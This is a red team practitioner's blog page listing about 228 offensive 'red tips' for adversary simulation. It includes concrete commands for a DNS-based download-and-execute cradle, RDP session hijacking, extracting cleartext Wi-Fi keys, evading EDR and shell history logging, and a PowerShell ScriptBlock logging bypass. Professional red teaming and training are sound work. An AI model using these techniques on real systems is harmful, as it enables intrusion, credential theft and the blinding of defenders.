# Red Team

> "A red team or the red team is an independent group that challenges an organization to improve its effectiveness by assuming an adversarial role or point of view."

{% hint style="info" %}
This blog is used to share security research with the wider community.
{% endhint %}

![](/files/-LhQj5zLLrC8se6CXu11)


# About Vincent Yiu

Get to know Vincent Yiu

## Social Profiles

* Twitter: [@vysecurity](https://www.twitter.com/vysecurity)
* LinkedIn: [/in/vincent-yiu](https://www.linkedin.com/in/vincent-yiu)
* YouTube: [/c/VincentYiu](https://www.youtube.com/c/VincentYiu)

‌Vincent is a Director of Red Team Operations. Vincent manages services driven by the adversary mindset and practically executes and demonstrates the impact of security vulnerabilities and attack paths.

## Conference Speaking

I am always open to speaking about interesting topics at different conferences ranging from business audiences to pure technical audiences. Get in touch, and I'll try to submit for the CFP or consider the event!

* 2018 DragonCon, Hong Kong

  Not recorded
* 2018 Fintech Security Conference, Hong kong

  Not recorded
* 2018 SSC Security Conference, Xi'An, China\
  Not recorded
* 2018 Hack In The Box GSEC, Singapore\
  <https://www.youtube.com/watch?v=w1fNGOKkeSg>
* 2017 Jingdong Annual Security Conference, Beijing, China\
  Not recorded
* 2017 Hack In the Box GSEC, Singapore\
  <https://www.youtube.com/watch?v=vdFbqG1aDh8>
* 2017 SteelCon, United Kingdom\
  <https://www.youtube.com/watch?v=SO5VLbLu9uE>
* 2017 BSides Manchester, United Kingdom\
  <https://www.youtube.com/watch?v=-FQgWGktYtw>
* 2017 SnoopCon, United Kingdom Private, for British Telecommunications
* 2016 SnoopCon, United Kingdom Private, for British Telecommunications

## Key Certifications

* MEng Computer Science, University of Warwick
* Offensive Security Certified Professional, Offensive Security
* Offensive Security Certified Expert, Offensive Security
* CREST Certified Infrastructure Tester, CREST
* CREST Registered Tester, CREST
* Certified Security Testing Associate, 7Safe

## Courses Undertaken

* RastaLabs
* Penetration Testing with Kali Linux
* Cracking the Perimeter
* Web Application Hackers Handbook - Live Edition
* Mobile Application Hackers Handbook - Live Edition
* Advanced Threat Tactics - Videos
* CSTA 3 day course that was held in Cambridge

## Other

* Reverse engineering since the age of 10
* UK National Cyber Security Championship Masterclass Finalist 2015\
  [Telegraph: UKs Largest Cyber Terror Attack Simulation on HMS Belfast](https://www.telegraph.co.uk/technology/internet-security/11467748/UKs-largest-cyber-terror-attack-simulation-gets-underway-on-HMS-Belfast.html)\
  [Independent: Cyber Security Challenge Hack into HMS Belfast and Blow up London Wired: A Cyber War is being staged in central London](https://www.independent.co.uk/life-style/gadgets-and-tech/news/cyber-security-challenge-hack-into-hms-belfast-and-blow-up-the-mayor-10104947.html)\
  [BBC News UK: Computer terror simulation used to recruit 'cyber defenders'](https://www.bbc.com/news/uk-31875832)
* USBNinja - Bad USB charging cable projects for offensive operations and simulations:\
  [BleepingComputer: USBHarpoo (Old Name) is a BadUSB Attack with a twist](https://www.bleepingcomputer.com/news/security/usbharpoon-is-a-badusb-attack-with-a-twist/)

## Responsible Disclosures

Riot Games, Xiaomi, General Motors, Adobe, Barclays, Iqiyi, VIPSHOP, Didichuxing, Alibaba, Airbus, FBI, US DoD, UK Gov via. NCSC, DigitalOcean, Vultr, ElasticSearch, Intel, China Mobile via. CNCERT.<br>

Bwg Aff: <https://bandwagonhost.com/aff.php?aff=67638>

Cloud Aff: <https://www.cubecloud.net/aff.php?aff=2341>


# Red Team Tips

## Overview <a href="#overview" id="overview"></a>

The following "red team tips" were posted by myself, Vincent Yiu (@vysecurity) over Twitter for about a year. This is still on-going but I took the opportunity to publish these in one solidified location on my blog. These will be updated ocassionally, but will not be bleeding edge updates. To receive my "red team tips", thoughts, and ideas behind Cyber attack simulations, follow my Twitter account [@vysecurity](https://www.twitter.com/vysecurity).

For the full Tweet and thread context (a lot of my followers will comment and give their insights also), visit Twitter.

Comprehensive list of tips available for searching at <https://vysecurity.rocks>.

**This page is no longer updated.**

## Red Team Tips <a href="#redteamtips" id="redteamtips"></a>

Red Tip #1: Profile your victim and use their user agent to mask your traffic. Alternatively use UA from software such as Outlook.

Red tip #2: If the enemy SOC is using proxy logs for analysis. Guess what? It wont log cookies or POST body content as can be sensitive.

Red tip #3: Taking a snapshot of AD can let you browse, explore and formulate future attacks if access is lost momentarily.

Red tip #4: consider using Office Template macros and replacing normal.dot for persistence in VDI environments.

Red tip #5: Do a DNS lookup for terms such as intranet, sharepoint, wiki, nessus, cyberark and many others to start intel on your target.

Red tip #6: Got access but need to find target? Use WMIC to query and dump the DNS Zone for a better view of assets - <https://serverfault.com/questions/550385/export-all-hosts-from-dns-manager-using-powershell>

Red tip #7: Whether PSEXEC, WMI, PS remoting or even the recent COM execution technique for lateral movement. Dont forget beloved RDP.

Red tip #8: Make sure theres trackers in your: emails, delivery server and payload execution. Any more? Comment to share!

Red tip #9: When PowerUp yields no results, dont forget SysInternalss AutoRuns. Often you can find unexpected surprises :)

Red tip #10: When using BloodHound, dont forget DA equivalents such as administrators and server operators etc too. These arent mapped.

Red tip #11: When navigating mature environments, a good old network diagram along with AD OUs can help to shed some light into next steps.

Red tip #12: Kerberoast them hashes, could be a fast route to domain administrator. PowerView: Invoke-Kerberoast -Format Hashcat

Red tip #13: Shared local administrator account hashes are great for lateral movement. Find machines based on the same build and attack away

Red tip #14: Got extra credentials? Use different sets for separate egress channels so that if one account is disabled all the rest are ok.

Red tip #15: You dont need payloads when you can phish credentials and login to Citrix, VPN, email with no 2FA. Check the perimeter.

Red tip #16: @dafthack MailSniper, @domchell LyncSniper can be a useful but noisy way to obtain AD credentials into an organisation.

Red tip #17: @\_staaldraad Ruler tool can be used to obtain code execution on a system running Outlook if you can access exchange externally

Red tip #18: When tools like MailSniper dont work in custom environments, you still have good old @Burp\_Suite to replicate the attacks

Red tip #19: Need a DC? echo %LOGONSERVER%. Need a list? `nltest /dclist, nslookup -q=srv _kerberos._tcp` (domain suffix can autocomplete)

Red tip #20: So apparently not many people use SSH for redirector setup. So try out `ssh c2 -R *:80:localhost:80. SSH config GatewayPorts yes`

Red tip #21: Found open user home shares that are accessible? See if you can drop into Startup Programs for lateral movement and privesc.

Red tip #22: Use VNC, microphone and webcam to perform surveillance. Netstat, tasklist can provide context into what the users doing.

Red tip #23: Stash payloads in `C:\$Recycle.Bin`

Red tip #24: Compromise the SOC and Security teams to watch their progress and track their email alerts for sophisticated threats

Red tip #25: Probably dont do this on a red team, but spray for Welcome1, Password1 if youre struggling to move. But move off fast.

Red tip #26: Split your campaigns up so that they are independent. Fire tons at once for decoys and to burn out the defence.

Red tip #27: Need more credentials? Search for passwords on Sharepoint, and intranet.

Red tip #28: Look for asset registers to understand who owns what machine, make and model. Theres usually an asset label to host name too!

Red tip #29: Lateral movement: printers, open webroots, good old Tomcat, what are your quick wins?

Red tip #30: Get AD credentials? Turn up on site and you might be able to use them to login to Corporate Wifi :)

Red tip #31: Hunting e-mails and network shares for penetration testing reports can often yield good results.

Red tip #32: List mounts: net use, look for shared folders and drop a UNC icon LNK into it. Run Inveigh or Wireshark on host to grab hashes.

Red tip #33: Orgs are transitioning to cloud services such as AWS, Beanstalk, O365, Google Apps. 2FA is vital - password reset to compromise.

Red tip #34: OpSec. Set notifications to your phone for logins or intrusion attempts in any part of your attack infrastructure.

Red tip #35: FireEye sandbox flagging your payloads? Try anti sandbox techniques! If not, just use HTA to get into memory as it doesnt scan

Red tip #36: Dont forget the good old GPP passwords in SYSVOL. There may be cached GPP on the machine. Applying the patch isnt enough

Red tip #37: Use GenHTA to generate HTA files that use anti-sandboxing techniques. <https://github.com/vysec/GenHTA>

Red tip #38: Having trouble getting @armitagehacker CobaltStrikes evil.hta through defenses? <https://github.com/vysec/MorphHTA>

Red tip #39: If emails get bounced, read the email! Sometimes due to malware scanners, spam etc. Or you may even get an out of office reply.

Red tip #40: @0x09AL suggests looking for default credentials on printers and embedded devices. Move off initial foothold using this.

Red tip #41: @Oddvarmoe suggests using Alternate Data Streams if you need to put a file on disk. For example <https://github.com/samratashok/nishang/blob/master/Backdoors/Invoke-ADSBackdoor.ps1>

Red tip #42: Got OS level access to a middle tier? `Task list`, `netstat` and `wmic process list full | findstr /I commandline` for more ideas!

Red tip #43: So you know where the server application files are. Download the binaries and check out configuration files for conn. strings

Red tip #44: Run PEiD and other packer / technology checkers to find out the language and packer used on downloaded server binaries.

Red tip #45: Run strings on the application binary for potentially other cleartext sensitive strings! (Unicode mode too)

Red tip #46: On a VDI? Check out C:\ and other disks for potentially sensitive files other users may have saved there.

Red tip #47: Incase EDR are looking for `net users /domain` try using `net use /dom`

Red tip #48: Is EDR potentially looking for `powershell -encodedcommand`? Try `powershell -ec`

Red tip #49: Attacking a heavy Macintosh or Linux estate? Send a Office Maldoc with OS checking logic to obtain footholds on either system

Red tip #50: Carbon Black checks for IEX and web req commands. Use powershell `powershell . (nslookup -q=txt calc.vincentyiu.co.uk )[-1]`

Red tip #51: Cant open C drive? Try `\\127.0.0.1\c$`

Red tip #52: SC doesnt take credentials. Cant use runas? Try `net use \\targetip\ipc$ password /u:domain\username` then `sc` to psexec

Red tip #53: When stick phishing for 2FA, consider using @mrgretzky Evilginx project which logs cookies. <https://breakdev.org/evilginx-1-1-release/>

Red tip #54: Hide from blue. Volume shadow copy then execute `\\?\GLOBALROOT\Device\HarddiskVolumeShadowColy1\malware.exe/dll` then delete VSC

Red tip #55: SMB hash leaking using a UNC path for image in page for drive by leak can give you credentials for less mature environments.

Red tip #56: Target victims using email authentication such as Microsoft Account on Windows 10? Hash leak exposes full email address!

Red tip #57: Working in teams yields better results; and best of all Makes Offensive operations more fun and keeps the adrenaline pumping

Red tip #58: Discuss business targets and objectives with your clients. This process should set non technical goals such as "ATM spit money"

Red tip #59: Checking whether a server or host is good for egress? Likely to go down? `systeminfo | findstr /i boot`

Red tip #60: Type `query user` to see who else is connected to the machine.

Red tip #61: Get a quick patch list using wmic qfe list brief. Cross ref KB to bulletins.

Red tip #62: Found a process of interest? Dont forget to obtain a MiniDump! Use Out-MiniDump <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1>

Red tip #63: Finally in CyberArk, click policies and see safes but no account? Go to accounts search and search for empty and safes show up

Red tip #64: Is WebDav allowed through the gateway? Using http mini redirector? Dont exfiltrate or send in files. WebDav is subject to DLP

Red tip #65: WebDav mini http redirector: `net use * http://totallylegit.com/share` then `start z:`

Red tip #66: Found potential MQ creds? ActiveMQ? Try out <https://github.com/fmtn/a> , works to query MQ endpoints that dont use self signed crt

Red tip #67: Use vssadmin to list and create volume shadow copies

Red tip #68: Pivoting into a secure zone that has no DNS or web gateway and need exfil? Netsh port forward pivot UDP 53 to DNS 53 then boom

Red tip #69: Have blue hidden the ways including winkey+R? Try shift and right click desktop and open command prompt

Red tip #70: Tracked down that putty session? Popped the box? Query user and check the victims logon time and idle times

Red tip #71: Hijack his Session using `sc create sesshijack binpath= "cmd.exe /k tscon <ID> /dest:<SESSIONNAME>"` then use putty session

Red tip #72: Most people understand email sec wrong. SPF does not mean not spoofable. SPF does nothing without DMARC.

Red tip #73: Weak DMARC on victim org domain? Spoof their own emails back into themselves! You even inherit their AD name and photo

Red tip #74: Got access to Microsoft OWA mailbox or O365? You can extract global catalog from contacts use @Burp\_Suite and parse JSON object

Red tip #75: Write PHP delivery scripts that can mutate your payloads and add unique trackers per download. This tracks file being executed

Red tip #76: Simulating a criminal threat story with smash and grab agenda? Phish users and hot swap payload mid campaign to test formats

Red tip #77: RCE on a web application for less mature client? `nslookup -q=srv _ldap._tcp`if its domain joined Invoke-Kerberoast

Red tip #78: @benichmt1 suggests looking for vmdk files across the network. You can use this to potentially access segregated networks

Red tip #79: Obfuscation is never bad, especially when its a button click. @danielhbohannon - <https://github.com/danielbohannon>

Red tip #80: Need to sweep for uptimes? Use `wmic /node:"<computer>" OS get LastBootUpTime` in a for loop

Red tip #81: Looking for systems running KeePass? Run a for loop on `wmic /node:"host" process list brief` :) then look at RT #82

Red tip #82: Found KeePass running in memory? Use @harmj0y KeeThief to extract password and dl the KDBX - <https://github.com/HarmJ0y/KeeThief>

Red tip #83: Struggling to find a working DB client? Live off the land and use your victims in an RDP session.

Red tip #84: Im sure everyone hates Oracle DB but no sweat, you can proxycap `sqldeveloper.exe`

Red tip #85: Check the users calendars before using persistence on their machine. They may be out of office and screw your master plans.

Red tip #86: Red team and attack simulation is not penetration testing. You shouldnt be really testing anything, but simply infiltrating.

Red tip #87: @Oddvarmoe uses .UDL files to quickly launch a MSSQL connection test to validate credentials! <https://blogs.msdn.microsoft.com/farukcelik/2007/12/31/basics-first-udl-test/>

Red tip #88: Dont forget Physical security! Whip up a PI with GSM and you can hack your way in by dropping the PI on network.

Red tip #89: regsvr32 SCT files are being detected as Squigglydoo. Looks for `script` case sensitive and `<registration` case insensitive.

Red tip #90: Cisco NGIPS is shit, when analysing traffic for havex it drops only `<havexhavex>` but not `<havexDATABLOBhavex>`

Red tip #91: Decoys can be as simple as burning egress by port scanning 1-1024 through IDS, or spamming dodgy emails at blocks of employees

Red tip #92: If WDigest is disabled, reenable it for cleartext credentials before new users login with @harmj0y <https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Invoke-WdigestDowngrade.ps1>

Red tip #93: Use Empyre to generate Macintosh and Linux payloads, modify it to contain code for Windows too! <https://github.com/EmpireProject/EmPyre>

Red tip #94: Client uses VDIs? Compromise underlying host and use Citrix Shadow Taskbar to spy on VDI sessions by selecting username

Red tip #95: @domchell recommends avoiding non persistent VDIs and persist on laptops. Query DC for live laptops.

Red tip #96: @lucasgates recommends using OLE objects containing VBS scripts instead of Macros as less suspicious. VBE will work too

Red tip #97: Use recent critical vulnerabilities such as CVE-2017-0199 HTA handler issue to simulate real threats. <https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/>

Red tip #98: @0x09AL suggests WordSteal. You can embed an IMAGE with UNC path to steal hashes from Word. Wont work if proxy. <https://github.com/0x09AL/WordSteal>

Red tip #99: If client is using Proxy with WebDav you can phish creds using @ryHanson Phishery <https://github.com/ryhanson/phishery>

Red tip #100: Use wgsidav if you need a quick WebDav server :) <https://github.com/mar10/wsgidav>

Red tip #101: Set up red team infrastructure following @bluscreenofjeff guidelines! <https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>

Red tip #102: Easier DNS redirector!

```
# YOUR LOCAL BOX
socat -t0 -T0 tcp4-listen:6667,reuseaddr,fork UDP:localhost:53
ssh user@remote_server -R 6667:localhost:6667
 
# REMOTE MACHINE
socat -t0 -T0 udp4-recvfrom:53,reuseaddr,fork tcp:localhost:6667
```

for opsec and not hosting C2 on the cloud

Red tip #103: Red team tips are useful but what makes the good red teamer is experience. Rack up that breadth of experience

Red tip #104: SessionGopher does a decent job at retrieving putty and RDP history - <https://github.com/fireeye/SessionGopher>

Red tip #105: If `ping 8.8.8.8` works, try ICMP tunnelling. More info at <http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-5.html?m=1> from @fragsh3ll though only on immature network

Red tip #106: Wordlists? <https://github.com/berzerk0/Probable-WordlistsI> like to use the top probable 297 million list with Deadhobo rules

Red tip #107: More of a pentest tip but `nslookup google.com` if it resolves you may have a DNS tunnelling problem.

Red tip #108: Post exploitation Asset Discovery <https://github.com/vysec/Invoke-DNSDiscovery> looks for assets by name that might be good if youre low priv user.

Red tip #109: Use Invoke-ProcessScan to give some running processes context on a system. This uses EQGRP leaked list- <https://github.com/vysec/Invoke-ProcessScan>

Red tip #110: Mature blue? Be careful and minidump lssas.exe then download it and parse locally

Red tip #111: Found an exploitable S4U condition? Use Mistique to attack! <https://github.com/machosec/Mystique/blob/master/Mystique.ps1>

Red tip #112: Need to use VNC as RDP in use? <https://github.com/artkond/Invoke-Vnc>has been pretty stable for me. Run it then pivot in and connect!

Red tip #113: Found super secret.doc or master password database.xlsx? Use `office2john` to get hash and crack in Hashcat!

Red tip #114: PowerUp didnt work and you want to autoruns? Dont bother going on disk, use Invoke-AutoRuns to csv- <https://github.com/p0w3rsh3ll/AutoRuns>

Red tip #115: Need to zip up a directory quickly for easy exfiltration? Eg. Home shares <https://github.com/thoemmi/7Zip4Powershell> use Powershell

Red tip #116: Use CatMyFish to search for categorised domains that could be used in your engagements - <https://github.com/Mr-Un1k0d3r/CatMyFish>

Red tip #117: Ran `Invoke-MapDomainTrusts` from PowerView? Use @harmj0y DomainTrustExplorer to generate a graph <https://github.com/sixdub/DomainTrustExplorer>

Red tip #118: FOCA finds some useful information for OSINT and intelligence phases. <https://www.elevenpaths.com/labstools/foca/index.html>

Red tip #119: GoPhish is a pretty useful tool for spinning up simple phishing campaigns especially for decoys [https://getgophish.com](https://getgophish.com/)

Red tip #120: If you have write access to the orgs shared Office template folders You can privesc by backdooring these trusted documents.

Red tip #121: @zwned uses netsh packet tracing to sniff natively from victim host. Save capture and analyze offline!

Red tip #122: More decoy tips! Scan the external perimeter with tools like Nessus and OpenVAS. More traffic the better just to burn the blue

Red tip #123: Read Sean Metcalfa blog <http://adsecurity.org/> When AD is used in many environments, it vital to at least know techniques

Red tip #124: Remember you can generate a golden ticket offline with knowledge of krbtgt and rest offline. Golden ticket gets silver from DC

Red tip #125: Got krbtgt of a child domain? Forest parent trusts you? Use the SID history attack in golden tickets to escalate to Ent Admin

Red tip #126: You dont necessarily need Domain Admin, if you have an account that has `Replicating directory changes` rights, dcsync to pull hash using that account.

Red tip #127: Planning to use `secretsdump.py`? :) Try using the DC machine account to authenticate and dump instead of a user! Save hash

Red tip #128: Use machine account hashes to generate silver tickets to a host for persistence. Save machine hash for DC incase krbtgt rotate

Red tip #129: Use PEAS to query shares and emails if using ActiveSync - <https://github.com/mwrlabs/peas>

Red tip #130: (Not red really but useful) Sort IPs: `cat IPs.txt | sort -t . -k1,1 -k2,2 -k3,3 -k4,4` or even \`cat IPs.txt | sort -v"

Red tip #131: Learn AWK and general bash scripting. Processing and merging of data sets speeds up our job for discovery and time keeping.

Red tip #132: Worth learning to pick locks and the dust can sensor trick if youre going to do some physical. <http://www.artofmanliness.com/2014/11/19/how-to-pick-a-lock-pin-tumbler-locks/>

Red tip #133: Grep has an extract flag -o that can be used to extract from a regex. Good for extracting data from massive blobs.

Red tip #134: Victims use wireless? Use KARMA attack to force them onto your network. Use eternalblue, domain creds or other vulns to get in. <https://github.com/sensepost/mana>

Red tip #135: Phishing pages are usually custom. However its always good to have a stash for decoys. Generic Gmail, Office365?

Red tip #136: Keep up to date by watching presentations from conferences on YouTube :) Discover useful techniques

Red tip #137: If youve exhausted all payload types, try sending a Mac user a python one liner and Win PS 1 liner. Ive had people run it.

Red tip #139: If you need to get a clean EXE for file drop and exec, try out @midnite\_runr Backdoor Factory - <https://github.com/secretsquirrel/the-backdoor-factory>

Red tip #140: If enemy does not use proxy with TLS inspection then you can use <https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/> to mask your c2 channel further

Red tip #141: On a Linux box and want to egress from it over a proxy? Use ProxyTunnel to pipe SSH - <https://github.com/proxytunnel/proxytunnel>

Red tip #142: Need some OSINT? Keep Spiderfoot running long term to accompany your manual OSINT sources [http://www.spiderfoot.net](http://www.spiderfoot.net/)

Red tip #143: OSINTing? TheHarvester does a decent job at subdomains. Though theres better ways to get emails bulk. <https://github.com/laramies/theHarvester>

Red tip #144: Exploring and want to use WMI? <https://www.microsoft.com/en-us/download/details.aspx?id=8572> is pretty useful for exploring the different namespaces and classes.

Red tip #145: Need to reset a password? Do it then quickly dcsync for previous password hash and use NTLMinject - <https://github.com/vletoux/NTLMInjector>

Red tip #146: IDS flagging known payload binary blob? Base64 encode it in your payload and use certutil, PS or VB to decode it!

Red tip #147: Test your phishing campaigns before sending!!!

Red tip #148: If youre sending into Exchange, make sure your SMTP server is not in SPAM list or black lists. Check junk mails mail headers

Red tip #149: Use Microsofts Message Header Analyzer to parse and review email headers from Outlook. <https://testconnectivity.microsoft.com/MHA/Pages/mha.aspx>

Red tip #150: Make sure phishing emails Bounce header matches From. Or else some will flag as malicious.

Red tip #151: DomainHunter also looks for good candidate expired domains - <https://github.com/minisllc/domainhunter>

Red tip #152: Want to scrape MetaData in CLI? Use PowerMeta. Linux users can use PowerShell too! <https://github.com/dafthack/PowerMeta>

Red tip #153: RDP in use? Dont want to use VNC? Try mimikatzs ts::multirdp in memory patch by @gentilkiwi

Red tip #154: Admin on a machine with VPN client? certificate extraction using Mimikatz by @gentilkiwi. Dont forget to dl configs. Backdoor

Red tip #155: Master all the quick wins to Domain privilege escalation. When youre pressured to get DA in 15 mins, you want to know you can

Red tip #156: @Akijos notes that we should be careful when using silver tickets with scheduled tasks. Author is the user account youre on.

Red tip #157: If you dont need a golden ticket, dont generate it.

Red tip #158: Scan a DNS server for Alexa top 1 million spoofable domains :) Ive got a massive list, do you?

Red tip #159: Scan the internet for a list of domain frontable domains! Ive got a big big list ready for whenever I want to use them :)

Red tip #160: We all know people share credentials between different services. Try these credentials on other accounts owned by the user!

Red tip #161: Cant crack a password? Try the users previous passwords from history in AD. They may follow a pattern.

Red tip #162: Cant crack a hash owned by a user? Take all previously discovered passwords from their files and generate a new word list.

Red tip #163: Cant crack a password? Make sure these are in your word list: name of company, town, capital, country, months! Appear a lot.

Red tip #164: Didier Stevens has SelectMyParent tool that lets you spawn a child process with an arbitrary parent. <https://blog.didierstevens.com/2017/03/20/that-is-not-my-child-process/>

Red tip #165: Using SelectMyParent stops those detections eg. powershell.exe spawning cmd.exe. @armitagehackers CobaltStrike has ppid cmd!

Red tip #166: Use PowerPoint mouse over text to invoke a powershell command one liner. #adversarysimulation - <https://www.dodgethissecurity.com/2017/06/02/new-powerpoint-mouseover-based-downloader-analysis-results/>

Red tip #167: Follow @mattifestation to keep up to date with blue team advances. Just in case blue is actually up to date with mitigations!

Red tip #168: Using VBS or JS? Cant stage using PowerShell.exe as blocked? @Cneelis released <https://github.com/Cn33liz/StarFighters> so you can keep use PS

Red tip #169: Not sure who uses Wi-Fi webcams but go run a mass deauth attack if youre going to plan on breaking in physically to discon

Red tip #170: @malcomvetter Never use defaults - run Mimikatz with AES and 8 hour tickets to avoid passive detection from NG defense tools!

Red tip #171: Win XP doesnt have PowerShell? Try using Unmanaged powershell to keep using your favourite scripts!

Red tip #172: @anthonykasza tells us that the at.exe command takes base64 encoded Params! Eg. `at.exe b64::[encoded params]`

Red tip #173: Grab cleartext wireless keys: `netsh wlan show profile name="ssid" key=clear`

Red tip #174: Got a shell on a victim without admin? Want their creds? Try Inveigh then `rpcping -s 127.0.0.1 -t ncacn_np` to leak hash.

Red tip #175: Got a low priv shell and need creds? Use Invoke-LoginPrompt by @enigma0x3 <https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1>

Red tip #176: Get access to shadow admin accounts, they can DCsync and are essentially DA. <https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/>

Red tip #177: If blue detects PTH. Try extract Kerberos tickets and PTT.

Red tip #178: @lefterispan wrote <https://gist.github.com/leftp/a3330f13ac55f584239baa68a3bb88f2> … which sets up a proxy and forces an auth attempt to it to leak hash. Low priv leak.

Red tip #179: When creating phishing pages, try cloning and modifying parts of the client’s own webpages. For example of their VPN login!

Red tip #180: Regardless of whether there are known defences. Run your PS scripts through Obfuscation before loading into memory.

Red tip #181: Stuck trying to find those assets still? Try @424f424f Get-BrowserData <https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1>

Red tip #182: Follow @JohnLaTwC as he tweets phishing examples and sometimes with new techniques used in Wild. Good for adversary simulation

Red tip #183: @MrUn1k0d3r released <https://github.com/Mr-Un1k0d3r/SCT-obfuscator> … can probably bypass Gateway signatures when performing SCT delivery for regsvr32! <https://github.com/Mr-Un1k0d3r/SCT-obfuscator>

Red tip #184: We always talk about Windows and AD. But now let’s have a look at Linux and AD with <https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9>

Red tip #185: Use WSUS for lateral movement <https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1>

Red tip #186: View @jpcert <https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf> … and look at all those indicators and artefacts left behind. Then hexedit those tools ?

Red tip #187: Found a portal using 2FA? Using RSA SecureID? <https://blog.netspi.com/targeting-rsa-emergency-access-tokencodes-fun-profit/> … Pin bruteforce!

Red tip #188: @pwnagelabs says to avoid bash history on exit using: `kill -9 $$`

Red tip #189: @pwnagelabs teaches us how to avoid wtmp logging with: `ssh -l user target -T`

Red tip #190: @bluscreenofjeff shows us how to use Apache Mod rewrite to randomly serve different payloads <https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/>

Red tip #191: Domain user? Query LDAP for Printers. Attempt default creds or known vulns then read Service account creds, hash or relay

Red tip #192: `Get-WmiObject -Class MicrosoftDNS_AType -NameSpace Root\MicrosoftDNS -ComputerName DC001 | Export-CSV -not dns.csv`

Red tip #193: Password protected doc in email? For some reason a lot of people send the password separately to the same inbox. #epicfail

Red tip #194: Can’t see another part of the network and there’s a DC? Pivot off the DC :)

Red tip #195: `C:\windows\system32\inetsrv\appcmd list site` to find IIS bindings.

Red tip #196: DA -> Locate DB -> Found MSSQL? <https://github.com/NetSPI/PowerUpSQL> use PowerUpSQL to enumerate and privesc by stealing tokens.

Red tip #197: If ACL doesn’t let you read other users’ home shares, you can try `net view \\fileserv /all` to try other shares and folders!

Red tip #198: Username jondoe and jondoe-x? Ones an Admin? Try same password. May be shared ? repeat for entire user list.

Red tip #199: Failed to phish? Payloads failing? Mac users? Write an email and ask them to open terminal and paste in python Empyre one line

Red tip #200: @\_wald0 blessed us with this BH cypher query to skip specific nodes to look for other paths. <https://pastebin.com/qAzH9uji>

Red tip #201: @424f424f pushed some research into LNK files inside CAB can be used to bypass the Attachment Manager ?<http://www.rvrsh3ll.net/blog/informational/bypassing-windows-attachment-manager/>

Red tip #202: When domain fronting, your calls hit the edge node, so every domain you use potentially hits a different a IP! ?

Red tip #203: If using @Cneelis StarFighter. Instead of using a staged web delivery, just stick while stageless payload as encoded block in!

Red tip #204: Printers are often good MAC addresses to use to beat NAC when physical red teaming as printers (mostly?) don’t support 802.1x

Red tip #205: If proxy is blocking SCT file, replace `<scriptlet>` with `<package>` and add `<component id="test">` around the rest. Thx @subTee

Red tip #206: CobaltStrike's @armitagehacker VNC not working? Here's a workaround using @artkond Invoke-VNC <https://github.com/vysec/Aggressor-VYSEC/blob/master/vnc-psh.cna>

Red tip #207: Got C2 on Windows user but no credentials? Leak a hash using @leftp's code. Implemented into CNA <https://github.com/vysec/Aggressor-VYSEC/blob/master/Invoke-CredLeak.ps1>

Red tip #208: @Nebulator spoke on IP regex by IR at #SnoopCon. Here's CobaltStrike @armitagehacker CNA to automate <https://github.com/vysec/Aggressor-VYSEC/blob/master/ping.cna>

Red tip #209: Automate environment prepping and spawn all processes as a child of explorer.exe by @armitagehacker <https://github.com/vysec/Aggressor-VYSEC/blob/master/auto-prepenv.cna>

Red tip #210: @subTee highlighted to us that XML requests can be used as a download cradle in constrained language mode!

Red tip #211: Check out @armitagehacker's post on OPSEC considerations when using Cobalt Strike's beacon. <https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/>

Red tip #212: Reset AD passwords from Linux with @mubix <https://room362.com/post/2017/reset-ad-user-password-with-linux/> :) proxychains it over your pivot :D

Red tip #213: Got a NetNTLMv1 hash? Convert it to NTLM by cracking three DES keys: <https://hashcat.net/forum/thread-5912.html>

Red tip #214: If you don’t 100 percent understand NETNTLMv1 and v2 read up on <https://blog.smallsec.ca/2016/11/21/ntlm-challenge-response/>

Red tip #215: If you don’t know how LM and NTLM hashing works... go back to basics with <https://blog.smallsec.ca/2016/11/07/windows-credentials/>

Red tip #216: @424f424f just made me aware that FireEye can prevent runas from executing. Use unmanaged PS to spawn <https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1>

Red tip #217: S4U can be used to delegate across SPN. So if you have `msds-allowedtodelagateto` HTTP you can exploit to obtain `HOST` and `CIFS`

Red tip #218: You’re in a subnet where people RDP into but you can’t attack outwards? Set backdoor over tsclient on start keys. ?

Red tip #219: Unsure what the localised admin account might be called or need to copy and paste? Check out <https://social.technet.microsoft.com/wiki/contents/articles/13813.localized-names-for-administrator-account-in-windows.aspx>

Red tip #220: EDR monitoring `whoami`? Use `echo %userprofile%` `echo %username%` Or replace echo with anything that reflects error: ie. `set`

Red tip #221: Network segregation in play? Try `Get-NetSubnet`, `Get-NetSite` in PowerView or browse in AD explorer. Can help find your way :)

Red tip #222: If you want to simulate MBR activity like #Petya, check out <https://github.com/PowerShellMafia/PowerSploit/blob/master/Mayhem/Mayhem.psm1>

Red tip #223: Secure your beach heads against #Petya `WMIC /node:host process call create “echo > C:\windows\perfc”`

Red tip #224: Using Linux? Modify `/etc/dhcp/dhclient.conf` and remove `gethostname()` for Opsec when you VPN or have to rock up on site.

Red tip #225: Stuck in a heavily segregated situation on a server? Try RDPInception attack vector out <https://www.mdsec.co.uk/2017/06/rdpinception/>

Red tip #226: Reduce AV detection by using fake Microsoft certificate.

Red tip #227: Not using notifications yet for C2 events? For @armitagehacker's Cobalt Strike check out <https://github.com/Und3rf10w/Aggressor-scripts>

Red tip #228: Using PowerShell?

```
# ScriptBlock Logging Bypass
# @cobbr_io

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
